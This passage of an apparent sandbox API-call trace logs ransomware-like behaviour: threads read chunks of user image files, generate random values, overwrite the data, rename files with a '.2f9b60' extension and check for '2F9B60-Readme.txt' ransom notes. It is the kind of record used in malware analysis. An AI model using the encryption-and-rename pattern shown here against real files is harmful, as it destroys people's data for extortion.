BaseAddress=0x1ced8d70) returned 1 [0117.763] FlushFileBuffers (hFile=0x17a0) returned 1 [0117.764] CloseHandle (hObject=0x17a0) returned 1 [0117.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050c240 [0117.764] wcscpy (in: _Dest=0x2050c240, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.764] wcscat (in: _Dest=0x2050c240, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c240) returned 1 [0117.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac2c0) returned 1 Thread: id = 1294 os_tid = 0xfb0 [0116.686] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg")) returned 0x20 [0116.773] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", dwFileAttributes=0x20) returned 1 [0116.789] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1668 [0116.792] GetFileSizeEx (in: hFile=0x1668, lpFileSize=0x3b22fc60 | out: lpFileSize=0x3b22fc60*=879394) returned 1 [0116.792] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0xd6b1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.792] ReadFile (in: hFile=0x1668, lpBuffer=0x3b22fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b22fc28, lpOverlapped=0x0 | out: lpBuffer=0x3b22fbe0*, lpNumberOfBytesRead=0x3b22fc28*=0x4, lpOverlapped=0x0) returned 1 [0116.795] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d20 [0116.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0116.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0116.795] NtQuerySystemTime (in: CurrentTime=0x3b22fb20 | out: CurrentTime=0x3b22fb20*=132462177222490000) returned 0x0 [0116.795] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0xe706b67 [0116.795] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x532fccf [0116.795] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x61228eae [0116.795] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x51fbbddf [0116.795] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x627e1314 [0116.795] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x70829b22 [0116.795] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x48e5f821 [0116.795] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x215345cf [0116.795] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x4536ef75 [0116.795] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x5c2d6367 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x6fbc9929 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x5274e7c0 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x590a3301 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x4647f27c [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x1edfafd3 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x3c4ca60a [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x1e636fe3 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x4869f9cd [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x2ab903b [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x673389b7 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x226a3935 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x30e89221 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x509d9780 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x551c3eb1 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x52ca9940 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x5fd48d67 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x4be113a4 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x116ce9c1 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x6049dffc [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x30389b7 [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x1d3a509d [0116.796] RtlRandomEx (in: Seed=0x3b22fb10 | out: Seed=0x3b22fb10) returned 0x33591eb9 [0116.806] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.807] ReadFile (in: hFile=0x1668, lpBuffer=0x41b9b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b22fb80, lpOverlapped=0x0 | out: lpBuffer=0x41b9b4e0*, lpNumberOfBytesRead=0x3b22fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0116.808] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d20 [0116.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262d20) returned 1 [0116.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b9f0f0 [0116.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d20 [0116.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0116.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202619a0) returned 1 [0116.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.810] WriteFile (in: hFile=0x1668, lpBuffer=0x41b9f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b22fb80, lpOverlapped=0x0 | out: lpBuffer=0x41b9f0f0*, lpNumberOfBytesWritten=0x3b22fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0130.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b9f0f0) returned 1 [0130.144] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0x6cc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.144] ReadFile (in: hFile=0x1668, lpBuffer=0x41b9b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b22fb80, lpOverlapped=0x0 | out: lpBuffer=0x41b9b4e0*, lpNumberOfBytesRead=0x3b22fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0130.147] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0x6cc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260830 [0130.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260830) returned 1 [0130.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b9f0f0 [0130.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260830 [0130.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0130.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635c0) returned 1 [0130.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.151] WriteFile (hFile=0x1668, lpBuffer=0x41b9f0f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b22fb80, lpOverlapped=0x0) [0170.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b9f0f0) returned 1 [0170.984] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0xd2f22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.984] ReadFile (in: hFile=0x1668, lpBuffer=0x41b9b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b22fb80, lpOverlapped=0x0 | out: lpBuffer=0x41b9b4e0*, lpNumberOfBytesRead=0x3b22fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0171.155] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0xd2f22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cf50 [0171.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cf50) returned 1 [0171.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420ec5b0 [0171.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cf50 [0171.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cf80 [0171.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cf80) returned 1 [0171.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.158] WriteFile (in: hFile=0x1668, lpBuffer=0x420ec5b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b22fb80, lpOverlapped=0x0 | out: lpBuffer=0x420ec5b0*, lpNumberOfBytesWritten=0x3b22fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0194.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420ec5b0) returned 1 [0194.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf910 [0194.861] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.861] WriteFile (in: hFile=0x1668, lpBuffer=0x431f4b40*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x3b22fc30, lpOverlapped=0x0 | out: lpBuffer=0x431f4b40*, lpNumberOfBytesWritten=0x3b22fc30*=0x154, lpOverlapped=0x0) returned 1 [0199.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4b40) returned 1 [0199.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5df30) returned 1 [0199.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262d20) returned 1 [0199.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5def0) returned 1 [0199.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddf910) returned 1 [0199.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263020) returned 1 [0199.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261160) returned 1 [0199.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262e70) returned 1 [0199.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431d9260 [0199.490] wcscpy (in: _Dest=0x431d9260, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" [0199.490] wcscat (in: _Dest=0x431d9260, _Source=".2f9b60" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.2f9b60") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.2f9b60" [0199.490] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.2f9b60", NtPathName=0x3b22fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f2b40 [0227.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f2b40) returned 1 [0227.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309a150) returned 1 [0227.047] NtQueryInformationFile (in: FileHandle=0x1668, IoStatusBlock=0x3b22fcb8, FileInformation=0x3b22fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b22fcb8, FileInformation=0x3b22fcc8) returned 0x0 [0227.047] NtSetInformationFile (FileHandle=0x1668, IoStatusBlock=0x3b22fcb8, FileInformation=0x3b22fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0235.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431d9260) returned 1 [0235.153] FlushFileBuffers (hFile=0x1668) returned 1 [0238.220] CloseHandle (hObject=0x1668) returned 1 [0241.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e110 [0241.539] wcscpy (in: _Dest=0x1b85e110, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0241.539] wcscat (in: _Dest=0x1b85e110, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" [0241.539] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\2f9b60-readme.txt")) returned 0x20 [0241.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e110) returned 1 [0241.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e6f0) returned 1 Thread: id = 1295 os_tid = 0xfb4 [0116.689] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg")) returned 0x20 [0116.774] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", dwFileAttributes=0x20) returned 1 [0116.790] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17c8 [0116.879] GetFileSizeEx (in: hFile=0x17c8, lpFileSize=0x3a80f6a0 | out: lpFileSize=0x3a80f6a0*=845941) returned 1 [0116.879] SetFilePointerEx (in: hFile=0x17c8, liDistanceToMove=0xce871, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.879] ReadFile (in: hFile=0x17c8, lpBuffer=0x3a80f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a80f668, lpOverlapped=0x0 | out: lpBuffer=0x3a80f620*, lpNumberOfBytesRead=0x3a80f668*=0x4, lpOverlapped=0x0) returned 1 [0116.896] SetFilePointerEx (in: hFile=0x17c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ff0 [0116.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860f60 [0116.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861020 [0116.896] NtQuerySystemTime (in: CurrentTime=0x3a80f560 | out: CurrentTime=0x3a80f560*=132462177223426000) returned 0x0 [0116.896] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x545d6855 [0116.896] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x4dd91980 [0116.896] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x66fec9b8 [0116.896] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x4fefdb9d [0116.896] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x67da7cf7 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x3674d322 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x4c682c38 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x91bb172 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x3981f013 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x4f9c8300 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x4582abd3 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x2bc92758 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x74dd1e65 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x44d9b3c4 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x3e6050d7 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x77254cd4 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x5ceaff6c [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x518220aa [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x25d6d212 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x6658f63b [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x682bc29b [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x77c52648 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x7d7f8957 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x659b00b1 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x70862d9e [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x2ac41e21 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x6bdb3b8d [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x2ae0701c [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x372905c7 [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x7d741d7f [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x409c0ebd [0116.897] RtlRandomEx (in: Seed=0x3a80f550 | out: Seed=0x3a80f550) returned 0x100ed8a0 [0116.907] SetFilePointerEx (in: hFile=0x17c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.907] ReadFile (in: hFile=0x17c8, lpBuffer=0x41b978d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3a80f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41b978d0*, lpNumberOfBytesRead=0x3a80f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0116.927] SetFilePointerEx (in: hFile=0x17c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861020 [0116.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861020) returned 1 [0116.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f9f0f0 [0116.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861020 [0116.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8610e0 [0116.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8610e0) returned 1 [0116.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.928] WriteFile (in: hFile=0x17c8, lpBuffer=0x41f9f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3a80f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41f9f0f0*, lpNumberOfBytesWritten=0x3a80f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f9f0f0) returned 1 [0130.153] SetFilePointerEx (in: hFile=0x17c8, liDistanceToMove=0x69000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.153] ReadFile (in: hFile=0x17c8, lpBuffer=0x41b978d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3a80f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41b978d0*, lpNumberOfBytesRead=0x3a80f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.156] SetFilePointerEx (in: hFile=0x17c8, liDistanceToMove=0x69000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0130.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635c0) returned 1 [0130.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f9f0f0 [0130.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0130.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a80 [0130.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262a80) returned 1 [0130.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.157] WriteFile (hFile=0x17c8, lpBuffer=0x41f9f0f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3a80f5c0, lpOverlapped=0x0) [0170.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f9f0f0) returned 1 [0170.986] SetFilePointerEx (in: hFile=0x17c8, liDistanceToMove=0xcac75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.986] ReadFile (in: hFile=0x17c8, lpBuffer=0x41b978d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3a80f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41b978d0*, lpNumberOfBytesRead=0x3a80f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.162] SetFilePointerEx (in: hFile=0x17c8, liDistanceToMove=0xcac75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cfb0 [0171.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cfb0) returned 1 [0171.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420ce530 [0171.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cfb0 [0171.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cfe0 [0171.165] RtlFreeHeap 